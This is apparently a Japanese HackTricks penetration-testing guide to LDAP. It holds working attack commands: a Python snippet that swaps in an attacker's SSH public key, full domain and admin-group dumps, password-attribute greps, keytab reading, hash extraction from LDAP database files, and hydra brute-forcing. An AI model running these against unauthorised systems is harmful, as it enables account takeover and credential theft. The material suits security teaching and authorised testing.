21 KiB
389, 636, 3268, 3269 - LDAPのペネトレーションテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか?HackTricksで会社を宣伝したいですか?または、最新版のPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?サブスクリプションプランをチェックしてください!
- The PEASS Familyを発見してください。私たちの独占的なNFTsのコレクションです。
- 公式のPEASS & HackTricksグッズを手に入れましょう。
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦@carlospolopmにフォローしてください。
- ハッキングのコツを共有するために、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
基本情報
出典: https://searchmobilecomputing.techtarget.com/definition/LDAP
LDAP(Lightweight Directory Access Protocol)は、公共インターネットでも企業のイントラネットでも、ネットワーク内の組織、個人、その他のリソース(ファイルやデバイスなど)を検索するためのソフトウェアプロトコルです。LDAPはDirectory Access Protocol(DAP)の「軽量」(コード量が少ない)バージョンです。
LDAPディレクトリは、多くのサーバーに分散されています。各サーバーは、定期的に同期される全ディレクトリの複製バージョンを持つことができます。LDAPサーバーはDirectory System Agent(DSA)と呼ばれます。ユーザーからのリクエストを受け取ったLDAPサーバーは、リクエストに対する責任を持ち、必要に応じて他のDSAに渡しますが、ユーザーに対して単一の調整された応答を保証します。
LDAPディレクトリは、以下のレベルを含む単純な「ツリー」階層で構成されています:
- ルートディレクトリ(ツリーの出発点または源)、これが分岐して
- 各国、それぞれが分岐して
- 組織、これが分岐して
- 組織単位(部門、部署など)、これが分岐して(エントリを含む)
- 個人(人々、ファイル、プリンターなどの共有リソースを含む)
デフォルトポート: 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、デフォルトでポート3268およびLDAPSの3269で利用可能です。
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAPデータ交換フォーマット
LDIF(LDAP Data Interchange Format)は、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)を表すこともできます。
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- 1〜3行目はトップレベルドメインlocalを定義しています
- 5〜8行目はファーストレベルドメインmoneycorp(moneycorp.local)を定義しています
- 10〜16行目は2つの組織単位:devとsalesを定義しています
- 18〜26行目はドメインのオブジェクトを作成し、属性に値を割り当てます
データの書き込み
値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。例えば、ユーザーまたは任意のユーザーの**"sshPublicKey"情報を変更できる**と想像してください。この属性が存在する場合、sshはLDAPから公開鍵を読み込んでいる可能性が高いです。ユーザーの公開鍵を変更できれば、sshでパスワード認証が有効になっていなくてもそのユーザーとしてログインできるでしょう。
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
クリアテキスト資格情報のスニッフィング
LDAPがSSLなしで使用されている場合、ネットワーク上でクリアテキストの資格情報をスニッフィングすることができます。
また、LDAPサーバーとクライアントの間でネットワーク上でMITM攻撃を実行することができます。ここでダウングレード攻撃を行うと、クライアントはクリアテキストの資格情報を使用してログインします。
SSLが使用されている場合、上記のようにMITMを試みることができますが、偽の証明書を提供します。ユーザーがそれを受け入れた場合、認証方法をダウングレードして再び資格情報を見ることができます。
匿名アクセス
TLS SNIチェックのバイパス
このライトアップによると、彼は任意のドメイン名(company.comのような)でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接続し、情報を抽出することができました。
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP匿名バインド
LDAP匿名バインドは、認証されていない攻撃者がドメインから情報を取得することを可能にします。これには、ユーザー、グループ、コンピューター、ユーザーアカウント属性、およびドメインパスワードポリシーの完全なリストが含まれます。これはレガシーな設定であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。
しかし、管理者は特定のアプリケーションで匿名バインドを設定する必要があったかもしれませんが、意図した以上のアクセス権を与えてしまい、認証されていないユーザーがAD内のすべてのオブジェクトにアクセスできるようになっている可能性があります。
有効な資格情報
LDAPサーバーにログインする有効な資格情報を持っている場合、以下を使用してドメイン管理者に関するすべての情報をダンプできます:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
列挙
自動化
これを使用すると、公開情報(ドメイン名など)を確認できます。
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Pythonを使ったLDAP列挙を見る
資格情報の有無にかかわらずPythonを使用してLDAPを列挙することができます: pip3 install ldap3
まず、資格情報なしで接続を試みます:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
応答が前の例のようにTrue
である場合、LDAP(naming contextやdomain nameなど)サーバーからいくつかの興味深いデータを取得できます。
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
一度命名コンテキストを取得すると、もっとエキサイティングなクエリを実行できます。このシンプルなクエリはディレクトリ内のすべてのオブジェクトを表示するはずです:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
または、ldap全体をダンプします:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch **** は、LDAPクエリを利用してWindowsドメインからユーザー、グループ、コンピューターを列挙するためのPythonスクリプトです。
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
nullクレデンシャルがあるか、またはあなたのクレデンシャルが有効かどうかを確認します:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
_bindが完了しなければならない_という表示がある場合、それは資格情報が正しくないことを意味します。
ドメインから**すべてを抽出**するには:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
ユーザーの抽出:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
コンピューターの抽出:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
私の情報を抽出する:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ドメイン管理者の抽出:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ドメインユーザーの抽出:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
エンタープライズ管理者を抽出する:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
管理者の抽出:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
リモートデスクトップグループの抽出:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
クエリの実行後、パスワードへのアクセス権があるかどうかを確認するには、grepを使用できます:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
以下のパスワードは実際のものではない可能性がありますのでご注意ください...
pbis
pbisはこちらからダウンロードできます: https://github.com/BeyondTrust/pbis-open/ 通常、/opt/pbis
にインストールされています。
Pbisを使用すると、基本情報を簡単に取得できます:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
グラフィカルインターフェース
Apache Directory
ここからApache Directoryをダウンロードしてください。このツールの使用例はこちらで確認できます。
jxplorer
LDAPサーバー用のグラフィカルインターフェースはこちらからダウンロードできます:http://www.jxplorer.org/downloads/users.html
デフォルトでは、以下の場所にインストールされます: /opt/jxplorer
Godap
https://github.com/Macmod/godap でアクセスできます。
kerberos経由での認証
ldapsearch
を使用して、NTLM ではなく kerberos に対して認証するには、パラメータ -Y GSSAPI
を使用します。
POST
データベースが含まれているファイルにアクセスできる場合(/var/lib/ldap にある可能性があります)、以下を使用してハッシュを抽出できます:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
johnにパスワードハッシュを供給できます('{SSHA}'から'structural'までで、'structural'を追加せずに)。
設定ファイル
- 一般
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 サーバー
- V3.sas.oc
- Microsoft Active Directory サーバー
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP ディレクトリサーバー
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks 自動コマンド
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか?HackTricksで会社の広告を掲載したいですか?または、最新版のPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?サブスクリプションプランをチェックしてください!
- The PEASS Familyを発見してください。私たちの独占的なNFTsのコレクションです。
- 公式のPEASS & HackTricksグッズを手に入れましょう。
- **💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦@carlospolopmにフォローしてください。
- hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。